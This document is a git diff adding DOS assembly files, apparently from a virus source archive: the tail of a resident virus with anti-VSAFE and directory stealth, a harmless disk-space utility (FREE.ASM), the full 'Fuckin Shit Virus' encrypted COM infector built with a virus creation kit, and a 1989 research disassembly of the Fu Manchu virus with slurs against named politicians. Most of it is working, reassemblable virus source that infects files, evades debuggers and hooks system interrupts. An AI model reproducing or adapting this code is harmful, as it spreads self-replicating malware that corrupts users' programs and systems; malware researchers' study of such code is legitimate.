? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ; +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; + +mov ax,351ch ; +int 21h ;store the int 1ch vectors +mov word ptr [trampaint+bp],bx ;in cs:trampaint +mov word ptr [trampaint+2+bp],es ; +mov ax,251ch ;put the int 1ch (clock) vector +push cs ; +pop ds ; +mov dx,offset tardar ;in offset tardar +int 21h ; +mov dx,offset fin ; +int 27h ;main resident the code +NO_DAY: ; +ret ;ret for program +tardar: ;int 1c handler +pushf ; +pusha ; +mov cx,0ffffh ;fuck loop for slow speed +trampa: ; +mov ax,ax ; +loop trampa ; +popa ; +popf ; +JMP dword ptr CS:[trampaint+bp] ;jmp to original int 1ch +ret ; +trampaint dd ? ; +;--------------------------------; + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 020H ;day for the action +action_mes Db 04H ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/f/FREE.ASM b/f/FREE.ASM new file mode 100755 index 0000000..b4dfe4c --- /dev/null +++ b/f/FREE.ASM @@ -0,0 +1,112 @@ + title FREE.ASM + page,132 + +cseg segment para 'code' + assume cs:cseg +main proc far + org 100h +start: + jmp begin + +banner db 0ah,'FREE Vers 1.0 - Sept. 1985 - by Art Merrill',0dh,0ah,'$' + db 'Copyright (C) 1985',0dh,0ah,'$' + db 'Ziff-Davis Publishing Company',0dh,0ah,'$' +total: db 0ah,8 dup(0),' bytes total disk space',0dh,0ah +diff: db 8 dup(0),' bytes allocated',0dh,0ah +bytes: db 8 dup(0),' bytes available on disk',0dh,0ah,0ah,'$' +hltotal: dw 0,0 +hlbytes: dw 0,0 + +begin: + mov dx,offset banner + mov ah,9 + int 21h + + mov si,5ch ;address of selected drive + mov dl,[si] + mov ah,36h ;get disk free space + int 21h + + push ax ;save for total bytes + push cx ;save for total bytes + push dx ;save for total bytes + + mul bx ;get total clusters + mul cx ;get total bytes + + std + mov di,offset hlbytes+2 + xchg ax,dx + stosw + xchg ax,dx + stosw + + mov di,offset bytes+7 ;storage for ascii printout + call ascii + + pop dx ;get back total clusters + pop cx ;get back bytes per sector + pop ax ;get back sectors per cluster + + mul dx ;total clusters + mul cx ;bytes per sector + + mov di,offset hltotal+2 ;same routine as above to get + xchg ax,dx ; total bytes + stosw + xchg ax,dx + stosw + + mov di,offset total+8 ;storage for ascii printout + call ascii + + mov ax,word ptr hltotal+2 ;calculate difference between + sub ax,word ptr hlbytes+2 ; total bytes and bytes allocated + xchg ax,dx ; to get total bytes remaining + mov ax,word ptr hltotal + sub ax,word ptr hlbytes + jnc skip + dec dx ;adjust total for carry +skip: + mov di,offset diff+7 ;storage for ascii printout + call ascii + + mov dx,offset total ;print results + mov ah,9 + int 21h + + int 20h ;exit + +main endp + +ascii proc near + xchg bp,dx ;save high word + mov bx,0ah ;divisor + mov cl,30h ;conversion for ascii +rpt1: + cmp bp,0 ;are we done with high words + jz rpt2 ;yes + xchg ax,bp ;no-get high word + xor dx,dx ;clear dx + div bx + xchg bp,ax ;this will be the new high word + div bx ;divide low word + remainder + or dl,cl ;convert hex value to ascii + mov [di],dl ;quotient into storage + dec di ;step back one byte + jmp rpt1 ;go again +rpt2: + xor dx,dx ;clear dx + div bx + or dl,cl ;convert hex value to ascii + mov [di],dl ;quotient into storage + dec di ;step back one byte + cmp ax,0 ;are we done? + jnz rpt2 ;no + + ret ;yes +ascii endp + +cseg ends + end start + \ No newline at end of file diff --git a/f/FS.ASM b/f/FS.ASM new file mode 100755 index 0000000..41e47a4 --- /dev/null +++ b/f/FS.ASM @@ -0,0 +1,359 @@ +; FS.ASM -- Fuckin Shit Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Unknown User + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0063h ; Do 99 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + + db 0F0h,039h,067h,037h,006h + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + + db 032h,050h,0FFh,0D5h,088h + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 0DCh,02Bh,0D7h,0CEh,09Eh + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "Fuckin Shit Virus" + db "By White Shark" + db "Mess with the White Shark and" + db "you'll be eaten alive!" + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/f/FUMANCHU.ASM b/f/FUMANCHU.ASM new file mode 100755 index 0000000..6e98fc5 --- /dev/null +++ b/f/FUMANCHU.ASM @@ -0,0 +1,944 @@ + page 65,132 + title The 'Fu Manchu' Virus +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'Fu Manchu' Virus +; Disassembled by Joe Hirst, June 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + + ; The virus occurs attached to the beginning of a COM file, or the end + ; of an EXE file. A COM file also has the six-byte 'marker' attached + ; to the end. + + ; This virus is a variation of the Jerusalem virus + + ; The disassembly has been tested by re-assembly using MASM 5.0. + +RAM SEGMENT AT 0 + + ; System data + + ORG 3FCH +BW03FC DW ? +BB03FE DB ? + ORG 417H +BB0417 DB ? ; Key states + ORG 46CH +BB046C DB ? ; System clock - low byte + + ORG 2CH +ENV_SG DW ? ; Segment address of environment + +RAM ENDS + +RAM40 SEGMENT at 400H + + ORG 1AH +BW041A DW ? ; Key token in pointer +BW041C DW ? ; Key token out pointer + ORG 80H +BW0480 DW ? ; Key token buffer start pointer +BW0482 DW ? ; Key token buffer end pointer + +RAM40 ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:NOTHING,ES:RAM + + ; Entry point when attached to a COM file + +START: JMP BP0010 + + DB 'sAX' + +VR_SIG DB 'rEMHOr' + +VIR_RT EQU THIS DWORD +V_RTOF DW 100H +V_RTSG DW 323FH + +INT_08 EQU THIS DWORD +I08OFF DW 0106H ; Int 8 offset +I08SEG DW 0E95H ; Int 8 segment + +INT_09 EQU THIS DWORD +I09OFF DW 02E9H ; Int 9 offset +I09SEG DW 0DC6H ; Int 9 segment + +INT_16 EQU THIS DWORD +I16OFF DW 0 ; Int 16H offset +I16SEG DW 0 ; Int 16H segment + +INT_21 EQU THIS DWORD +I21OFF DW 138DH ; Int 21H offset +I21SEG DW 029BH ; Int 21H segment + +INT_24 EQU THIS DWORD +I24OFF DW 04EBH ; Int 24H offset +I24SEG DW 3228H ; Int 24H segment + +BEGIN DW 0 ; Initial value for AX +F_SIZE DW 49H ; Total file size +TCOUNT1 DW 0 ; Timer count (low) +TCOUNT2 DW 0 ; Timer count (high) +ST_ES1 DW 3195H ; Original ES +SET_PA DW 00A2H + + ; Program parameter block + +PPB_01 DW 0 ; Environment address +PPB_02 DW 0080H ; Command line offset +PPB_03 DW 3195H ; Command line segment +PPB_04 DW 005CH ; FCB1 offset +PPB_05 DW 3195H ; FCB1 segment +PPB_06 DW 006CH ; FCB2 offset +PPB_07 DW 3195H ; FCB2 segment + +PRG_SP DW 0 ; Initial stack pointer store +PRG_SS DW 31A5H ; Initial stack segment store +PROGRM EQU THIS DWORD +PRGOFF DW 0 ; Initial code offset store +PRGSEG DW 31A5H ; Initial code segment store +SS_ST1 DW 0 ; Store for system area data (1) +SS_ST2 DB 86H ; Store for system area data (2) + + ; .EXE header store + +EXEHED DB 4DH, 5AH ; 00 .EXE header ident +EXHD01 DW 0070H ; 02 Bytes in last page +EXHD02 DW 0006H ; 04 Size of file in pages +EXHD03 DW 0000H ; 06 Number of relocation entries +EXHD04 DW 0020H ; 08 Size of header in paragraphs +EXHD05 DW 0000H ; 0A Minimum extra storage required +EXHD06 DW -1 ; 0C Maximum extra storage required +EXHD07 DW 0005H ; 0E Initial stack segment +EXHD08 DW ENDADR ; 10 Initial stack pointer +EXHD09 DW 1988H ; 12 Negative checksum +EXHD10 DW 0223H ; 14 Initial code offset +EXHD11 DW 0005H ; 16 Initial code segment + DW 01EH ; 18 Relative offset of reloc table + DW 0 ; 1A Overlay number + +SIGBUF DB 069H, 06FH, 06EH, 00DH, 00AH, 024H +F_HAND DW 5 ; File handle +F_ATTS DW 0020H ; File attributes +F_DATE DW 1273H ; File date +F_TIME DW 4972H ; File time +F_SIZ1 DW 0250H ; Low-order file size +F_SIZ2 DW 0 ; High-order file size +F_PATH EQU THIS DWORD +FPTHOF DW 3D5BH ; Program pathname offset +FPTHSG DW 9B70H ; Program pathname segment +COM_CM DB 'COMMAND.COM' +EXE_SW DB 0 ; EXE switch - 0 = .COM extension +MEM_SW DW 1 ; Memory allocated switch +OUT_SW DB 0 ; Output in progress switch +BYTSEC DW 0200H ; Bytes per sector +PARAGR DW 0010H ; Size of a paragraph + + ; The next fields are encrypted, and translate to: + +;STRNG1 DB 'fu manchu virus 3/10/88 - latest in the new fun line!', 0 +;STRNG2 DB 'thatcher is a cunt ', 0 +;STRNG3 DB 'reagan is an arsehole ', 0 +;STRNG4 DB 'botha is a bastard ', 0 +;STRNG5 DB 'waldheim is a Nazi ', 0 +;STRNG6 DB 'fuck', 8, 8, 8, 8, 0 +;STRNG7 DB 'cunt', 8, 8, 8, 8, 0 +;STRNG8 DB 'The world will hear from me again! ', 0 + +STRNG1 DB 0C9H, 0DAH, 08FH, 0C2H, 0CEH, 0C1H, 0CCH, 0C7H + DB 0DAH, 08FH, 0D9H, 0C6H, 0DDH, 0DAH, 0DCH, 08FH + DB 09CH, 080H, 09EH, 09FH, 080H, 097H, 097H, 08FH + DB 082H, 08FH, 0C3H, 0CEH, 0DBH, 0CAH, 0DCH, 0DBH + DB 08FH, 0C6H, 0C1H, 08FH, 0DBH, 0C7H, 0CAH, 08FH + DB 0C1H, 0CAH, 0D8H, 08FH, 0C9H, 0DAH, 0C1H, 08FH + DB 0C3H, 0C6H, 0C1H, 0CAH, 08EH, 0 +STRNG2 DB 0DBH, 0C7H, 0CEH, 0DBH, 0CCH, 0C7H, 0CAH, 0DDH + DB 08FH, 0C6H, 0DCH, 08FH, 0CEH, 08FH, 0CCH, 0DAH + DB 0C1H, 0DBH, 08FH, 0 +STRNG3 DB 0DDH, 0CAH, 0CEH, 0C8H, 0CEH, 0C1H, 08FH, 0C6H + DB 0DCH, 08FH, 0CEH, 0C1H, 08FH, 0CEH, 0DDH, 0DCH + DB 0CAH, 0C7H, 0C0H, 0C3H, 0CAH, 08FH, 0 +STRNG4 DB 0CDH, 0C0H, 0DBH, 0C7H, 0CEH, 08FH, 0C6H, 0DCH + DB 08FH, 0CEH, 08FH, 0CDH, 0CEH, 0DCH, 0DBH, 0CEH + DB 0DDH, 0CBH, 08FH, 0 +STRNG5 DB 0D8H, 0CEH, 0C3H, 0CBH, 0C7H, 0CAH, 0C6H, 0C2H + DB 08FH, 0C6H, 0DCH, 08FH, 0CEH, 08FH, 0E1H, 0CEH + DB 0D5H, 0C6H, 08FH, 0 +STRNG6 DB 0C9H, 0DAH, 0CCH, 0C4H, 0A7H, 0A7H, 0A7H, 0A7H, 0 +STRNG7 DB 0CCH, 0DAH, 0C1H, 0DBH, 0A7H, 0A7H, 0A7H, 0A7H, 0 +STRNG8 DB 0FBH, 0C7H, 0CAH, 08FH, 0D8H, 0C0H, 0DDH, 0C3H + DB 0CBH, 08FH, 0D8H, 0C6H, 0C3H, 0C3H, 08FH, 0C7H + DB 0CAH, 0CEH, 0DDH, 08FH, 0C9H, 0DDH, 0C0H, 0C2H + DB 08FH, 0C2H, 0CAH, 08FH, 0CEH, 0C8H, 0CEH, 0C6H + DB 0C1H, 08EH, 08FH, 08FH, 08FH, 0 + + ; Each entry is: + ; DB length to find + ; DB length found + ; DW pointer to string + +TABLE DB 10, 0 + DW STRNG1 + DB 9, 0 + DW STRNG2 + DB 7, 0 + DW STRNG3 + DB 6, 0 + DW STRNG4 + DB 9, 0 + DW STRNG5 + DB 4, 0 + DW STRNG6 + DB 4, 0 + DW STRNG7 + DB 0 +TABOUT DW 0 ; Table entry for output + + ; Key number table for fake input + +KEYTAB DB 03H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H ; 00 - 07 + DB 0EH, 0FH, 1CH, 25H, 26H, 1CH, 31H, 18H ; 08 - 0F + DB 19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H ; 10 - 17 + DB 2DH, 15H, 2CH, 01H, 2BH, 1BH, 07H, 0CH ; 18 - 1F + DB 39H, 02H, 28H, 04H, 05H, 06H, 08H, 28H ; 20 - 27 + DB 0AH, 0BH, 09H, 0DH, 33H, 0CH, 34H, 35H ; 28 - 2F + DB 0BH, 02H, 03H, 04H, 05H, 06H, 07H, 08H ; 30 - 37 + DB 09H, 0AH, 27H, 27H, 33H, 0DH, 34H, 35H ; 38 - 3F + DB 03H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H ; 40 - 47 + DB 23H, 17H, 24H, 25H, 26H, 32H, 31H, 18H ; 48 - 4F + DB 19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H ; 50 - 57 + DB 2DH, 15H, 2CH, 1AH, 2BH, 1BH, 07H, 0CH ; 58 - 5F + DB 29H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H ; 60 - 67 + DB 23H, 17H, 24H, 25H, 26H, 32H, 31H, 18H ; 68 - 6F + DB 19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H ; 70 - 77 + DB 2DH, 15H, 2CH, 1AH, 2BH, 1BH, 29H, 0EH ; 78 - 7F + + ; This section assumes a COM origin of 100H + + +BP0010: CLD + MOV AH,0E1H ; Virus "are you there" call + INT 21H ; DOS service (Virus - 1) + CMP AH,0E1H ; Test for unchanged + JNB BP0020 ; Branch if invalid reply + CMP AH,4 ; Test for standard "yes" + JB BP0020 ; Branch if non-standard + MOV AH,0DDH ; Replace program over virus + MOV DI,0100H ; Initial offset + MOV SI,OFFSET ENDADR ; Length of virus + ADD SI,DI ; Add initial offset + MOV CX,F_SIZE[DI] ; Get total filesize + INT 21H ; DOS service (Virus - 2) + + ; Virus not in system, or non-communicating variety + +BP0020: MOV AX,CS ; Get current segment + ADD AX,10H ; Address past PSP + MOV PRG_SP,SP ; Save current value + MOV SS,AX ; \ Set up stack + MOV SP,OFFSET ENDADR+100H ; / + PUSH AX ; Segment for return + MOV AX,OFFSET BP0030 ; \ Offset for return + PUSH AX ; / + RETF ; "Return" to next instruction + + ; We now have an origin of zero + ; Entry point when attached to an EXE file + +BP0030: CLD + PUSH ES + MOV ST_ES1,ES ; Save original ES + MOV PPB_03,ES ; \ + MOV PPB_05,ES ; ) Segments in PPB + MOV PPB_07,ES ; / + MOV AX,ES ; \ Segment relocation factor + ADD AX,10H ; / + ADD PRGSEG,AX ; Initial code segment store + ADD PRG_SS,AX ; Initial stack segment store + MOV AH,0E1H ; Virus "are you there" call + INT 21H ; DOS service (Virus - 1) + CMP AH,0E1H ; Test for unchanged + JNB BP0040 ; Branch if not + CMP AH,4 ; Test for standard "yes" + POP ES + MOV SS,PRG_SS ; Initial stack segment store + MOV SP,PRG_SP ; Initial stack pointer store + JMP PROGRM ; Start of actual program + + ; Virus is not already active + +BP0040: XOR AX,AX ; \ Address page zero + MOV ES,AX ; / + MOV AX,BW03FC ; \ Save system area data (1) + MOV SS_ST1,AX ; / + MOV AL,BB03FE ; \ Save system area data (2) + MOV SS_ST2,AL ; / + MOV BW03FC,0A4F3H ; Store REPZ MOVSB + MOV BB03FE,0CBH ; Store RETF + POP AX ; \ + ADD AX,10H ; ) Address past PSP + MOV ES,AX ; / + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV CX,OFFSET ENDADR ; Length of virus + XOR SI,SI ; \ Clear registers + MOV DI,SI ; / + PUSH ES ; \ + MOV AX,OFFSET BP0050 ; ) Set up return address + PUSH AX ; / + DB 0EAH ; \ Far jump to move instruction + DW BW03FC, 0 ; / + +BP0050: MOV AX,CS ; \ + MOV SS,AX ; ) Set up internal stack + MOV SP,OFFSET ENDADR+100H ; / + XOR AX,AX ; \ Address page zero + MOV DS,AX ; / + ASSUME DS:RAM,ES:NOTHING + MOV AX,SS_ST1 ; \ Restore system area data (1) + MOV BW03FC,AX ; / + MOV AL,SS_ST2 ; \ Restore system area data (2) + MOV BB03FE,AL ; / + MOV BX,SP ; Get stack pointer + MOV CL,4 ; \ Convert to paragraphs + SHR BX,CL ; / + ADD BX,10H ; Allow for PSP + MOV SET_PA,BX ; Save number of paragraphs + MOV ES,ST_ES1 ; Get original ES + MOV AH,4AH ; Set block + INT 21H ; DOS service (Set block) + MOV AX,3521H ; Get interrupt 21H + INT 21H ; DOS service (Get int) + MOV I21OFF,BX ; Save interrupt 21H offset + MOV I21SEG,ES ; Save interrupt 21H segment + PUSH CS ; \ Set DS to CS + POP DS ; / + ASSUME DS:CODE + MOV DX,OFFSET BP0170 ; Interrupt 21H routine + MOV AX,2521H ; Set interrupt 21H + INT 21H ; DOS service (Set int) + MOV ES,ST_ES1 ; Get original ES + ASSUME ES:RAM + MOV ES,ES:ENV_SG ; Get environment segment + XOR DI,DI ; Start of environment + MOV CX,7FFFH ; Allow for 32K environment + XOR AL,AL ; Search for zero +BP0060: REPNZ SCASB ; Find zero + CMP ES:[DI],AL ; Is following character zero + LOOPNZ BP0060 ; Search again if not + MOV DX,DI ; Save pointer + ADD DX,3 ; Address pathname + MOV AX,4B00H ; Load and execute program + PUSH ES ; \ Set DS to ES + POP DS ; / + PUSH CS ; \ Set ES to CS + POP ES ; / + ASSUME DS:RAM,ES:NOTHING + MOV BX,OFFSET PPB_01 ; PPB (for load and execute) + PUSH DS + PUSH ES + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH CS ; \ Set DS to CS + POP DS ; / + ASSUME DS:CODE + + ; Install interrupt 9 routine + + MOV AX,3509H ; Get interrupt 9 + INT 21H ; DOS service (Get int) + MOV I09OFF,BX ; Save interrupt 9 offset + MOV I09SEG,ES ; Save interrupt 9 segment + MOV AX,2509H ; Set interrupt 9 + MOV DX,OFFSET BP0150 ; Interrupt 9 routine + INT 21H ; DOS service (Set int) + + MOV AH,2AH ; Get date + INT 21H ; DOS service (Get date) + CMP CX,07C5H ; Year = 1989 + JL BP0070 ; Branch if before + CMP DH,8 ; Month = August + JL BP0070 ; Branch if before + + ; Install interrupt 16H routine + + MOV OUT_SW,0 ; Set off output switch + MOV AX,3516H ; Get interrupt 16H + INT 21H ; DOS service (Get int) + MOV I16OFF,BX ; Save interrupt 16H offset + MOV I16SEG,ES ; Save interrupt 16H segment + MOV AX,2516H ; Set interrupt 16H + MOV DX,OFFSET BP0540 ; Interrupt 16H routine + INT 21H ; DOS service (Set int) + +BP0070: MOV BL,BB046C ; Get low byte of system clock + MOV BH,BL ; Copy + AND BX,0F00FH ; Isolate nibbles + CMP BL,0 ; Is low nibble of clock zero? + JNE BP0080 ; Branch if not + MOV CL,4 ; Bits to move + SHR BH,CL ; Move top nibble to bottom + CMP BH,0 ; Is second nibble of clock zero? + JE BP0080 ; Branch if yes + XOR AX,AX ; Clear register + MOV TCOUNT1,AX ; Set timer count (low) + MOV AL,BH ; Get second nibble of system clock + MOV TCOUNT2,AX ; Set timer count (high) + + ; Install interrupt 8 routine + + MOV AX,3508H ; Get interrupt 8 + INT 21H ; DOS service (Get int) + MOV I08OFF,BX ; Save interrupt 8 offset + MOV I08SEG,ES ; Save interrupt 8 segment + MOV AX,2508H ; Set interrupt 8 + MOV DX,OFFSET BP0100 ; Interrupt 8 routine + INT 21H ; DOS service (Set int) + +BP0080: POP DX + POP CX + POP BX + POP AX + POP ES + POP DS + ASSUME DS:NOTHING + PUSHF ; Fake an interrupt + CALL INT_21 ; Interrupt 21H (Load and execute) + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV AH,49H ; Free allocated memory + INT 21H ; DOS service (Free memory) + MOV AH,4DH ; Get return code of child process + INT 21H ; DOS service (Get return code) + MOV AH,31H ; Keep process + MOV DX,OFFSET ENDADR ; Length of program + MOV CL,4 ; \ Convert to paragraphs + SHR DX,CL ; / 